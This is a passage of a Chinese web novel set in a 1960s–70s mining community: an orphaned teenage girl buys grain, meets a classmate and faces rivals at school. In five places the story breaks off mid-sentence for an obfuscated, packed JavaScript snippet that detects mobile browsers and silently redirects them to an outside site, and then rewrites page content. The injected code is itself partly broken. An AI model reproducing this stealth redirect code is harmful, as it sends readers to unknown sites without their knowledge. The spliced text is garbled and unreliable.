家里这个菜园子,一直都是曲铁军和李三梅打理,曲灵最大的贡献,就是摘黄瓜和西红柿当水果吃。 一直到太阳升起,毒辣辣地照在大地上,曲灵才将所有野草清理完,手上、指甲上沾满了黑色的泥土还有绿色的草汁,黏糊糊地沾在手上,用清水冲洗,又打了肥皂,洗了好半天,也还残留着明显的痕迹。 肚子里发出“咕噜噜”的声响。曲灵擦干净手,去碗架子拿了昨天晚上剩下的白菜粉条炖豆腐,还有玉米、小米掺和在一起的杂合面饽饽。李三梅擅长做粗粮,做出来的饽饽松软、香甜。曲灵吃过很多人做的饽饽,顶数李三梅做得最好吃。 她将锅里面放上水,把一个成人拳头大小的饽饽还有盛放着炖菜的粗瓷碗放到高粱杆篦子上,盖好锅盖,又去墙边的麻袋里抓一把松毛,抱一捆干柴禾回来。 将柴禾蓬松地塞进灶糖里,再划根火柴,点燃松毛,塞进柴禾下面,松毛上有油脂,一点就着,着起来的火很快将柴禾引燃,灶糖里的火就快速地燃烧起来。曲灵又往灶糖里面塞了两根稍微粗些的柴禾,凭着灶塘里的这些柴禾,就足以将饭蒸好。 不管是做饭,还是洗衣,亦或是其他的家务活,曲灵以前基本上没干过。 李三梅干了大半儿,曲铁军也会帮忙,而曲灵就是那个擎吃擎喝的,偶尔帮着递个火柴、拿副碗筷,就被曲铁军夸个不停,说我姑娘有眼力价,会干活了云云。 虽然没怎么干过,但没吃过猪肉总见过猪跑,从小看到大,自己动起手来,倒也是能够应付。 又将柴禾往灶堂里推了推,曲灵便回了屋里,去洗脸刷牙。 脸盆架子上方的镜子里,映照出了自己的脸庞,十四五岁的姑娘,被养得很白净,浓眉大眼,鼻翘唇红,两边脸蛋有些肥嘟嘟的、身材高挑,是谁见到都要夸一声“漂亮”的样貌。只是,头发油乎乎,乱糟糟,两边的太阳穴上,一左一右一撮头发翘着,像是树立的两根天线,嘴唇上一块黑乎乎的痂,脸上不知道什么时候,沾了一抹锅底灰,脏兮兮的,像是个无家可归的流浪汉,折损了这幅长相。 曲灵将毛巾投入到凉水里,又用打湿的毛巾将脸擦拭干净,而后将乱七八糟的头发简单梳理一下。 这时候,锅里面的饭菜蒸得差不多了,她将粗瓷碗和饽饽垫着抹布拿出来,又往锅里添些热水,利用余温烧热,准备一会儿好好地洗个头。 她要趁着今天,把自己打理干净,明天就销假上学去。 她今年上初二,上的是均州铁矿子弟中学,还有一个月,就要期末考试了。 从66年开始,全国所有的大学都停课关门。而曲灵升入初中后,课业还没有小学时候紧张,老师只简单教授些浅显的知识,甚至都不正经上课,不是一起学习语录,就是带着学生们去学农、学工。 曲灵因着能歌善舞,形象好,参加了学校里的宣传队,上初中这三年,她经常会跟着宣传队,到各个生产大队、均州市的各个单位去宣传思想,表演节目。因着她有这份特长,别的同学参加劳动的时间里,她都在表演节目。 小铁梅是她最常扮演的角色,大辫子一扎,红花棉袄一穿,精神抖擞,一身气势往舞台上一站,就是活生生的铁梅。 她不光是家里的小公主,在学校里,亦是备受瞩目的焦点。 今天的事情很多,家里的粮食不多了,得拿着粮食本去粮站买粮食。曲铁军的户口注销,粮食本也换了新的,如今的粮食本上,只有她一个人的名字了。 李三梅是农业户口,但曲灵却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641651|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非农业户口,按理说,子女的户口是随着母亲走的,曲灵也不知道当年是怎么操作的。也幸好她是非农业户口,曲铁军去世后,她还能享受到一个月28市斤的粮食供应。 她跟着宣传队出去慰问演出的时候,绝大多出情况,慰问单位都会管饭,乡下奶奶也经常送粮食过来。虽然她正处于长身体,饭量大的时候,但这28市斤的粮食供应足够她吃饱,还有结余的了。 用粮食本购买的话,大米跟白面不到两毛一斤,玉米面八分多一斤,李三梅给的那350块钱,算计着花的话,足够她上完高中的了。 老师们提前给她透露过,学校推荐上高中的名额里,有她一个。对这个结果,曲灵毫无意外,毕竟,不管是论成绩,还是论成分、思想觉悟,还是平时的表现,她都不比任何人差,学校不推荐她,那才是意外的。 父亲曲铁军也是希望她上完高中,到时候,她也十八岁,算是个大人了,到时候再去矿上工作也不迟。 对于她的未来,曲铁军也有规划,觉得她就像现在这样唱唱跳跳的就很好,工作体面,不用受累,还能是干部身份,正好厂里有自己的文工团。 文工团这种清闲又体面的工作岗位,可不是光有实力就能得到的。曲铁军一直在有意地和铁矿负责文工团工作的工会主席搞好关系,为着三年后,曲灵能被招进文工团打基础。 换上一件干净的白色衬衫,小心将黑色的孝牌取下来,用别针别在右胳膊上,拿好崭新的粮食本,还有零钱放在军绿色的挎包里,临出门之前,对着镜子扯了扯嘴角,见自己的脸色虽然还有些苍白,但已经恢复了几分往日的精神气,又小心将衬衫领子整理好,这才拿了面袋子,推了院子中,曲铁军留下的自行车出门。 她还不会骑自行车,小学和初中都在步行范围内,平时都和同学们一块结伴上下学。本来打算着,放暑假的时候学骑车子,爸爸答应着,等学会了,会给她买一辆女士的飞鸽自行车,上高中的时候,就可以骑自行车上下学了。 女士飞鸽自行车不会有了,以后这辆自行车就是她的交通工具了,她会尽快学会骑车,不过今天,还只能推着走。 6. 买粮 这片区域是均州铁矿家属院,左邻右舍住的都是矿上的干部,白天里,巷子里来往的人不多,曲灵有些怕见到那些熟识的叔叔、阿姨,她不喜欢那些怜悯、同情的目光和话语,即便他们都是一片好意。 可惜,曲灵到底还是碰上了熟人。 住在巷子口的李奶奶,端着洋漆盆子出来,将水泼洒在路面上,转头一看,就看见曲灵,忙将盆子放在门口的大石头上,奔着她而来。 “哎呦,小灵啊,你这是要出去啊?”李奶奶迅速上下打量她一番,脸上露出笑容,说:“好孩子,别难过了,每个人都要经历这一遭的,总得要想开才行。你爸不在了,咱们这些老邻居还在,有啥事,你就招呼一声,都能搭把手。” 曲灵勉强笑笑,点着头,说:“以后少不了麻烦奶奶。” 李奶奶脸上的笑容更大了些,说:“你这孩子,几天不见,长大了许多,会说话了。看着你看你能打起精神来,我就放心了!” 她想到曲铁军出事那天,曲灵的样子,真担心这孩子悲伤之下,有个好歹的,这孩子也是刚强,没几天就挺过来了。 李奶奶看了看车筐里的粮食口袋,一下子就猜出了曲灵要去做啥,不由得很是奇怪,特地往曲家的方向看了看,问道:“你去买粮食?你妈呢?” 曲灵不想说李三梅已经离开了,但也不想撒谎骗人,便说道,“我长大了,有些事儿我也得学着干了。” 李奶奶认同地点头,说:“这一片的丫头们,都是五六岁就帮着家里头干活了,也就是老曲把你当眼珠子似的宠着,养在了福窝里。”她说着,眼里露出惋惜之色,说:“也是,你长大了,长得比你妈都高一头了,是得学着干活了。没事,孩子,有啥不懂的,尽管来找奶奶。” 李奶奶把胸脯拍得“啪啪”响,看曲灵的目光愈加怜悯,心里头感慨着,真是三十年河东,三十年河西,这一片的孩子们哪一个不羡慕曲灵,不想给曲铁军当孩子?养得跟旧社会资产阶级家的大小姐似的,不用干活,养得白白嫩嫩,一掐一汪水,可是现在呢,老曲抛下孩子去了,剩下个不对付的孤儿寡母,以后这日子,该不好过了! 虽然李奶奶说的是是好话,但曲灵的心一扎一扎地疼,她实在听不下去了,便借口还要去买粮,匆匆忙忙推着自行车跑了。 左邻右舍的这些奶奶、婶子们,要说心眼多坏倒也没有,谁家出个事儿,也都会主动上前帮忙,热心肠得很,可他们的话语听在曲灵耳中,却是格外的扎人心。 曲灵的心一直心塞,时不时闷疼一下,一直走到粮站,才好了些许。 到了粮站,曲灵在富强粉和二等、三等粉之间犹豫了一会儿。 富强粉也叫一等粉,也就是俗称的精面,又白又细,蒸出来的馒头喧腾、洁白,曲家以前一般都吃这种面,但二等面粉每斤比富强粉便宜三分钱,同样都是白面,只是掺了些麦麸子,蒸出来的馒头有些发黑,口感也更粗糙些,而三等粉蒸出来的馒头就更黑了,硬邦邦的,很难发得起来。 一斤差了三分,十斤就是三毛,又能买一斤半的粮食了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641652|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 曲灵终于跟工作人员说:“姨,我要十斤二等粉。” 三等粉她实在吃不下去,就选了中档的二等粉。 粮站就开在距离曲灵家十五分钟路程的街面上,过来买粮的都是矿厂上的职工,工作人员对于哪家哪户什么情况,生活水平如何,可以说是了如指掌。她听过来买粮食的李三梅抱怨过,说是家里这个小丫头给养得精细,吃二等粉会嫌喇嗓子,只爱□□米精面。如今,落魄的宝贝蛋只能吃二等粉了,她有些同情地接过粮食本,装粮食的时候,稍稍多给了些。 曲灵买了十斤二等粉,家里还有几斤奶奶带过来的玉米面,够她一人个吃半个月左右了。曲灵将面粉袋子捆好口,放在后座上,倚靠着车座子,用后座自带的夹子夹住,推着走两步,又担心夹得不牢靠,时不时回头看一眼,瞧着面粉袋子好似有些往边上侧倾了,只好伸出胳膊来,一手扶着车把,一手扶着面袋子。 她随了曲家人,从小就长得高,比同龄的孩子高出一截,今年才十四五岁,就已经一米六八了,比这个年纪的大多数男孩子都要高。 手长脚长的,这样推着自行车行走,稍微有些艰难,但也还能走。不过,走了十分钟,曲灵就觉胳膊有些酸疼,握住车把的左手手掌心也隐隐有些疼痛,抬起手来一看,磨得红红的。 曲灵暗骂自己不争气,就推个车子,咋就把手磨成这样?以后还能干点啥!她攥攥拳头,忽视手上的不适感,继续推车往前走。 “曲灵” 身后有人叫她。 7. 旧同学 曲灵停住脚步,转头去看,见一个穿着海魂衫的,理着小平头的男同学从远处跑过来。 “展敬怀”,曲灵叫出了来人的名字。 这会儿太阳当头,火辣辣地照着大地。豆大的汗珠顺着额头流下来,冲出一条清晰可见的痕迹。 他气喘吁吁,但脸上是显而易见的高兴,不动声色地打量着曲灵一番,目光从孝牌上停留一瞬便挪开,说着,“好几天没见你了,刚远远看着像你,就过来了。”他说着,伸出双臂,想要接过曲灵的自行车。 曲灵往旁边避让了下,避开展敬怀的动作。 展敬怀有些意外,但很快放下胳膊,往后退了一步,离曲灵稍远了些。 曲灵问:“你们今天不上课吗?” 展敬怀今年上高一,父亲是均州铁矿上一任的保卫处处长,后来工作调动,调到了均州市公安局,如今已经是局长了。不过展敬怀一直在均州铁矿职工子弟学校上学,一直到考上高中。 两人只差了一个年级,展敬怀又是宣传队的组织干事,两人平时接触很多,关系也很不错。 “今天学校组织高一年级去大桥公社做为期一周的支农,我家里有些事,就请假了。”他答了话又没话找话,问:“你去买粮食了?” 曲灵“嗯”了一声。 上次见他,大概是十来天之前,她和好朋友梁爱勤去均州市第一高中玩儿,展敬怀带着他们两个在学校里参观,后来又掏粮票请两人在食堂吃了顿午饭。 此时再见,面对着以前关系还不错的同学,忽然有种恍如隔世之感,感觉已经许久许久没有见过他,不自觉产生生疏和隔阂之感。 “我现在没事,骑车子送你?” 展敬怀跟着父母去参加了均州铁矿给曲铁军办的追悼会,那时候的曲灵悲伤欲绝,眼神空洞,机械地坐在那里,像是个失去了灵魂的木偶。那些安慰的话她也是充耳不闻,丝毫没听到心里去,让展敬怀十分担忧。 刚刚远远看到曲灵,心里头高兴不已,立刻抛下手头的事儿,赶紧跑过来了。 曲灵摇摇头,谢绝了展敬怀的好意,说:“不用,我自己就可以的。” 要是以前,她会坦然接受别人的帮忙,可是从此以后,她得学会凡事都依靠自己。 “好吧”,展敬怀有些无奈地说,虽然不太明白这小丫头怎么忽然就变成这样,但没说什么,“那我帮你把面袋子捆好,你就不用扶着了。” 曲灵没再拒绝展敬怀的好意,将自行车支了起来。 展敬怀微微松口气,笑了下,说着:“你稍等我下。”就跑去路边,扯下两根长长的榆树条来。 榆树枝条柔韧性极好,经常被拿来捆扎东西。 展敬怀将榆条上的叶子撸下来,又用手揉搓几下,增加柔韧性,而后走过来,将面袋子结结实实地绑在后座上,最后拉了拉,确定牢固得很,才笑着又对曲灵说:“好了,很结实,别说是回你家,就是骑到首都去,都掉不了。” “谢谢你!”曲灵认真地盯着展敬怀的两只手,努力学习他的手法,而后自己也试着拉了下,果然结实得很,她真诚地道谢。 “小事一桩,不用谢,天太热了,赶紧回去吧。” 展敬怀等到曲灵推着自行车的背影走远,才微微叹口气,转身离开。 再见的曲灵,整个人都变了。以前的她叽叽喳喳,爱说爱笑,每次看见她,都能从她身上感受到一种感染人的快乐,让人不自觉想要跟着她一起笑。可现在,那种从骨子里透出来的快乐感没有了,人沉稳了许多,像是忽然从无忧无虑的少女没有过渡地就成为了身负重担的成年人。 他很担心这个小小少女,以前,他也生活在铁矿生活区,跟曲灵算是同龄人,在尚未有男女明确界限的幼年时期,经常在一块玩耍,长大了些后,他搬走了,但还在一个学校,又都在宣传队,关系依旧很好。 得知曲铁军去世的那一时刻,他头脑中冒出来的就是,曲灵跟他爸爸感情那么好,该多伤心啊! 后来,他一直关注着曲家的动向,又去参加了曲铁军的追悼会,看到曲灵的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641653|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的心一直都悬着,直到看见了今天的她。 虽然这小姑娘的改变令人心疼,但她的状况明显比自己想象中的好多了,也足以让他放心了。 希望以后的日子里,这小姑娘能恢复往昔的快乐。 回到家的曲灵自然不知道有个人一直关心着她,更不知道因她而生的那些感慨。她在为自己准备午餐。 她做的是棒子面糊糊,这是最简单的餐食,就是将棒子面用水活开,倒在开水锅里,搅和搅合,等水再开时,就算是做好了,再捞上一个芥菜疙瘩切成丝,就是一餐简单的饭菜了。 芥菜疙瘩咸菜是李三梅去年秋天时腌上的,那咸菜缸到成人小腿处,淹了满满一缸。入夏的时候,李三梅连咸汤带咸菜疙瘩,都放在大锅里煮了一遍,这样过夏的时候,咸菜缸不容易长白菌,也就不容易腐坏。 煮过的咸菜疙瘩,吃起来软软的,面面的,带着股子特殊的香味。有些人家,会将咸菜疙瘩切片,晾晒成干,当成零食吃,说是细品之下,能吃出肉味。 曲家吃不完的咸菜,李三梅也会晾成干,会在炖菜的时候放上几块,当盐用。 曲灵本来想像李三梅那样,将咸菜切成细细的丝儿,可惜,手不太听使唤,切出来的是咸菜条,粗细不均,大大小小,但不妨碍吃,就着一根咸菜条,就能吃掉一大碗的棒子面糊糊。 她没掌握好稠稀,做了多半锅的糊糊,吃得肚子都快要爆了,也没有吃完。曲灵只好将剩下的粥盛出来,放在凉水盆里,放到阴凉之处,明天早上再吃。 隔天早上,曲灵将剩下的玉米糊糊热了,就着咸菜条又吃了个肚儿圆,刚将碗筷刷了,放进碗橱,好朋友梁爱勤的大嗓门便隔着个院子传到耳中。 “曲灵,上学去了!” “就来。” 曲灵扬着嗓子答应一声,将橱柜门关好,便挎上自己的军绿色挎包,锁了屋门往出跑。 昨天晚上梁爱勤来家里看她,得知她今天也会去上学,高兴得不行,便按照往常那样,来找她一起上学。 8. 上学 曲灵出来的时候,梁爱勤正踮着脚往院子里头张望。墙是泥土加石块垒起来的,大概到成人肩膀的高度,梁爱勤个子娇小,踮起脚尖扬起脑袋,勉强可以看见院子里的情景。 曲灵跑出来的时候,就看见梁爱勤努力朝里看的样子,不由得笑了起来,叫了一声,“爱勤!” 梁爱勤立刻转头,脸上都是笑容,走过来一把挎住曲灵的胳膊,说:“真好,好不容易又能和你一起去上学了!这几天你不在,我都没伴了!” 曲灵夹住她的胳膊,问着:“这两天学校咋样,宣传队呢?” 梁爱勤偷瞄了曲灵一眼,见她脸色还不错,这才说:“闵学青,你不在的这段时间她一直在演铁梅,同学们都说……” “都说什么?”曲灵追问着。 “都说,她可能要替代你的位置。”梁爱勤小心翼翼地说,又连忙找补,说:“我觉得都是他们瞎说的,闵学青长得跟螳螂似的,唱歌还跑调,长得也没你好看,前两天我们又去李家屯演出了,我听老乡们私下里都说,这个铁梅没上回那个铁梅有精神气,不像铁梅,像软梅。” 梁爱勤说着,自己倒先“哈哈哈”大笑起来,说:“老乡们好玩吧?我昨天还想着见了你一定给你讲的,结果见到你太高兴,给忘说了。” 梁爱勤自己笑得停不下来,曲灵扯了扯嘴角,没笑出来,她有种很不好的预感。 闵学青从很早以前,就跟曲灵不对付。 曲灵上小学时,被曲铁军送去市里成立不久的福利会少年宫学习画画,唱歌、跳舞,后来还参加了市里的少年合唱团,这在整个均州矿生活区来说,都是个稀罕事,绝大多数人,连少年宫是什么都没有听说话,即便是听说过,谁会让孩子去学画画、唱歌跳舞这些资本主义的洋事儿啊,饭都吃不饱呢。 闵学青却羡慕得很,跟家里人闹着也要去,自然是被家长无情拒绝了。闵家不像曲铁军这么疼孩子,家长要上班,有做不完的家务,要照顾更小的孩子们,不可能抽出时间,接送她去少年宫学习那些不当饭吃的没用玩意儿。 那之后,闵学青每次看见曲灵,都会朝她悄悄翻白眼儿。曲灵自然发现了,她打小就不是个能吃亏的,闵学青越是这样,她就越是昂首挺胸,大声地跟身边的人谈论着少年宫的趣事,“咯咯咯”笑得像个骄傲的大公鸡,每次都能把闵学青气得眼泪汪汪,跺着脚跑开。 可惜啊,曲灵的少年宫也没能去几年,66年,随着大革命的到来,少年宫关门,她的学习也就中断了。 曲灵平添了许多遗憾,闵学青却痛快了。 后来,曲灵凭着唱歌、舞蹈方面的特长,加入校宣传队,闵学青也随后加入。曲灵成了当之无愧的女主角,闵学青则成了跑龙套的小角色,后来,好不容易成了女主角替补,可惜,曲灵这个女主角太敬业,无论哪次演出,都会积极参加,搞得闵学青这个替补没有演出机会。 没想到,这次倒是让闵学青有了演出的机会。 曲灵知道,闵学青绝对不是梁爱勤所说的那么差劲,不管是排练还是演出,每次闵学青都会站到一边,认真地学习、模仿自己的动作、眼神。她没有演唱、跳舞的基础,但有股子想要替代自己,成为女主角的心气儿。 以前的曲灵,看待闵学青时,是带着丝怜悯的,充满优越感的,有自信她只是个永远追在自己屁股后面不值一提的小角色,可现在不知道为什么,却心生警惕,升起了浓浓的担忧。 闲聊之时,两人已经进了学校的大门。 均州铁矿职工子弟学校分成了小学部和初中部,从一个大门进出,共用食堂、操场等公共空间。因着国家对矿上有特殊政策,职工子弟们不需要跟其他城市待业青年一般下乡,只需要接班,或者等着招工就行。 矿上的子弟们基本上都能上到初中毕业,正好符合矿上招工的最低学历要求。绝大多数同学都是达到这个最低标准就不念了,只有少部分同学会选择继续念高中。 均州一中是均州铁矿子弟学校的定点高中,入学要求比较高,不光家庭成分好、本人的思想觉悟要又红又专,对入学成绩也有很高要求,更是要得到学校的推荐,每年从子弟学校升入高中的,也就那么十几个,这不光是学生们的竞争,也是家长们之间的竞争。 而曲灵,就是这十几人中的一个。 冷不丁,从后面冲过来一群跟曲灵年纪差不多的女同学,其中一个脸色泛黄,极为瘦小的姑娘恶意朝着曲灵和梁爱勤挽着的手撞过来,迫使两人松开,还转过头来,撇撇嘴,叉起了腰,仰着下巴,不怀好意地说: “呦,这是谁啊,这不是曲灵吗?” 曲灵垂下眼睛看她,眼前的小姑娘在大夏天里,依旧穿着厚厚的军装,军装没有改过,还是成年男性的尺码,穿在她身上松松垮垮,她用一根麻绳当成武装带系在腰间,下身的裤子同样松垮,库管挽到膝盖处,露出脚上一双硕大的黄胶鞋。 脑袋上一左一右梳着两只掉角辫儿,扎上两只鲜粉色的沙棱子。 这是曲灵的同班同学,也是闵学青最好的朋友,一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641654|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充当着闵学青的急先锋,两人一个阴阳,一个怪气,想方设法的跟曲灵不对付。 曲灵往四周看了看,没看见闵学青的身影,却见这位“急先锋”十分得意地说:“你还不知道吧,老师说了,闵学青扮演的铁梅更符合劳动人民的形象,比你这副资产阶级大小姐的样子好多了,以后啊,铁梅可就没你的事了!” 她说话的时候,右腿抖啊抖,宽大的鞋子在地面上蹭啊蹭,跟倚靠在门边说人闲话的大娘大婶们极为相似。 曲灵居高临下地看着她,问:“我不演铁梅了,轮上了闵学青,你能得什么好处?又不是你成了女主角,你跟着沾光了,还是闵学青把演铁梅的机会让给了你?傻了吧唧的,天天给别人当枪使,帮着闵学青摇旗呐喊,好处她得了,你就是那个背锅挨骂的,还乐得跟个二傻子似的,真可怜!” 曲灵说着摇了摇头,她是深谙气人之道的,问旁边的梁爱勤,“你说是不是?” 梁爱勤不停地点着脑袋,附和着说,“可不是嘛,啧啧,太可怜了,连我家看门的狗都不如,我家的看门狗好歹还能吃点剩饭,某些人啥都落不着!” 黄脸姑娘已经给气得七窍生烟,叉着腰的身体一窜一窜的,黄灿灿的小脸涨得通红,吼着:“你们才可怜,你们才是狗!” 曲灵目光在她身上扫过,而后向上翻,露出眼白,碰了下梁爱勤说:“咱们走,没必要跟这样的人一般见识。” 梁爱勤“嗯”了一声,重新拉上曲灵的手,也和她一样,露出轻蔑的笑容,而后推了黄脸姑娘一把,说:“好狗不挡道!” 曲灵个高腿长,带着梁爱勤,两步就走出去老远。黄脸姑娘被梁爱勤撞得一趔趄,稳住身体转过身来时,两人已经走远,小短腿紧蹈了两步没追上,扬起声音大声喊道,“你骂谁是狗?” 梁爱勤回头,“谁搭茬就是骂谁!” 黄脸姑娘起得跳着脚喊,“你才是狗,你们两个是狗!” 曲灵转过头来,捂了捂耳朵,说:“叫得真难听。还是别糟践狗了,狗叫得比这好听多了!” 黄脸姑娘七窍声音,大吼着:“你们等着!” 放话出来,她还是觉得不过瘾,又追上去喊,“曲灵你就是仗着你爸是保卫处的副处长,你爸没了,看你还嚣不嚣张得起来!” 曲灵脚步一顿,脸上的表情一僵。 梁爱勤回头瞪了眼黄脸姑娘,转头安慰曲灵,“她是狗嘴吐不出象牙,你别听她胡说。” “嗯”,曲灵大踏着步,没再理会身后的人。 9. 被抢 一路上,好多人跟曲灵打招呼,有问候她家里情况的,有关心她身体的,也有只是点个头或者微笑一下的,绝大多数人都是带着善意的,还有很多的目光意味不明,充满深意,更有些人,是明显的恶意。 对着这些不怀好意的目光,曲灵一一回瞪回去,她深吸一口气,背挺得更直,下巴微微上扬着,嘴角挂上一点点的微笑,就像是以前一样。 走进初二(一)班的教室时,屋里很吵闹,有大声朗读主席语录的,有嬉笑着打闹的,有围在一块叽叽喳喳不知道说什么的,她站在教室门口,停住脚步,直到梁爱勤推了她一下,她才踏进教室。 有同学发现了她,立时围拢了过来,七嘴八舌地对她表示关心。问候的话,这一路上她听过好几遍了,大差不差的都是那几句,便也耐心地回答。 而班里同学们的态度,比路上遇到的那些人,总体上来说,好了许多,也有不怀好意,意味不明的目光望向她,但绝大多数同学还是充满善意的。 很快,预备铃响,同学们纷纷回到自己的座位,在班长的监督下,大家齐声朗读着主席语录。 不多一会儿,班主任老师走进了屋里,一眼就看见了曲灵,朝她走过来,关心地询问了几句,曲灵连忙站起来一一回答,然后说:“谢谢李老师关心,我挺好的。” 李老师笑着朝她点点头,又勉励了几句,这才走上讲台,在讲台上轻敲两下,打断了同学们的朗读,说道:“我来说一下今天一天的课程安排。” 等同学们静下来,才又继续说:“上午,上一节语文课,一节工农业基础知识课,后面两节是劳动课,去修理咱们班的担当菜地,下午,大家都去小礼堂,矿区宣传部的领导会过来,讲一讲今年矿上招工的情况。” 这话一出,课堂上立刻响起了“嗡嗡”声,有同学举手,确认道:“李老师,矿上要招工了吗?” 李老师:“既然选择在这个时间开招工说明会,就说明矿里有招工的意思。” 而且,应该还是大规模的招工,不然也不会大张旗鼓地将所有初二毕业生都召集起来开会。 同学们的讨论声更大了,绝大多数同学们的表情都兴奋起来,他们可太幸运了,本来以为毕业之后得当一段时间的无业游民,没想到很快就能就业了。 李老师也没有扫兴,等大家的兴奋劲儿过去,才又重新敲敲讲台,说:“好了,具体什么情况,下午就能知道了,到时候再讨论也不迟。下面,开始上课。” 李老师是班主任,也兼任语文和思想政治老师。 曲灵按照李老师的指示,翻开了语文课本。刚刚轰动整个班级的招工消息并没有对曲灵造成影响,这次招工跟她无关,她是要上高中的。而且,她可以接父亲曲铁军的班儿,便是没有招工机会,只要初中毕业,就可以进入到矿上工作。 她这会儿想好好学习,在最后这将近一个月的时间里,让成绩更上一层楼。 不过,下午,她还是按照学校要求,去参加了招工说明会。 会上,矿上领导介绍了这次招工人数,工种。 初中毕业生到矿上去,基本上都是工人身份,熬过学徒期,再熬资历,慢慢评职称、涨工资。 待到说明会快要结束,领导说,有意者可以现场填表报名时,梁爱勤抑制不住高兴,冲到最前面领取了表格,又从人群之中挤出来,兴奋地朝着曲灵挥手,“我先抢到了,我先抢到了。” 梁爱勤家里头兄弟姐妹五个,父母虽然都在矿上工作,但也就只能空出两个能接班的工作,况且父母们才四十多岁,正值壮年,因着职称和工龄,工资比较高,这么时候把工作给子女,子女只能从学徒工做起,赚着每月十多块钱的学徒工资,无疑是很不合算的行为。 现在厂里有了招工的机会,就是解决了家庭里的一大难题,这让梁爱勤高兴不已。顾不得坐下,从书包里掏出钢笔,就要填表。 曲灵忙轻按了下她的身体,说:“坐下好好填,字写得工整,能给领导留个好印象。” “你说得对!”梁爱勤听从建议坐下,拧开笔盖,酝酿了下,才在表格上落笔,但写了两下之后,忽然就写不出来了,她挥着胳膊甩了几下,又接着写,写出两个字后,又写不出来了,她懊恼得很,说:“没水了,我出来的时候忘了打钢笔水!” 曲灵打开挎包,将自己的钢笔递过去,“用我的吧。” 曲灵的钢笔是英雄牌的,是她即将升入小学三年级,开始用钢笔时,曲铁军趁着到省会出差的机会,专门去省百货大楼买的,花了十五块钱,是曲铁军小半个月的工资,为此,李三梅唠叨了一整个月,为了惩罚他们爷俩,这一个月,李三梅都没给做肉菜吃,搞得曲灵晚上做梦都在砸吧嘴流哈喇子。 这只钢笔多珍贵,曲灵多宝贝,梁爱勤自然是知道的。她感激地看向曲灵,而后双手在裤子上擦了擦,才接过笔,入手沉甸甸的,比她两块钱的钢笔好了不知道多少。 她连忙拧开笔盖在报名表上继续填写自己的名字,而后欣赏着,说:“好钢笔写出来的字果然更好看!” 这是一位父亲不稀重金为女儿精心挑选的,当然好。曲灵露出一丝笑容,看着梁爱勤填表。 坐在他们后面,一个速度更快的同学已经将表格填好,见还没有人起身去交表,便也不着急,四处张望着,便看见了一大片埋首填表之中唯一异类的那个。 他用钢笔捅了捅曲灵的后背,曲灵回过头来,不解地看他。 这位同学说:“曲灵,你真不去上班啊?” 这话中没什么恶意,就是单纯的好奇,曲灵点了点头,没打算多说什么。 填好表的梁爱勤珍惜地将钢笔盖拧好,递给曲灵,这才扭过身来,说:“曲灵学习那么好,肯定是要上高中,以后出来当干部的!” 后面那位同学扯了下嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641655|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,欲言又止。 梁爱勤不高兴了,“你这幅样子是什么意思?” 那位同学忙说,“我没别的意思,就是……” 梁爱勤:“就是什么?男子汉大丈夫,说话怎么吞吞吐吐的?” 那位同学往四周围瞧了瞧,而后压低声音,小声说:“我听说,推荐上高中的名额已经报上去了,那个,我只是听说啊,消息不保准儿……” 他说着,又迟疑了。 曲灵心里头猛地一沉,忙催促他,“你听说了什么?” 那位同学触及到曲灵黝黑明亮的大眼睛,咽口吐沫,又压低些声音,说:“我告诉你,你们可别说是我说的。” 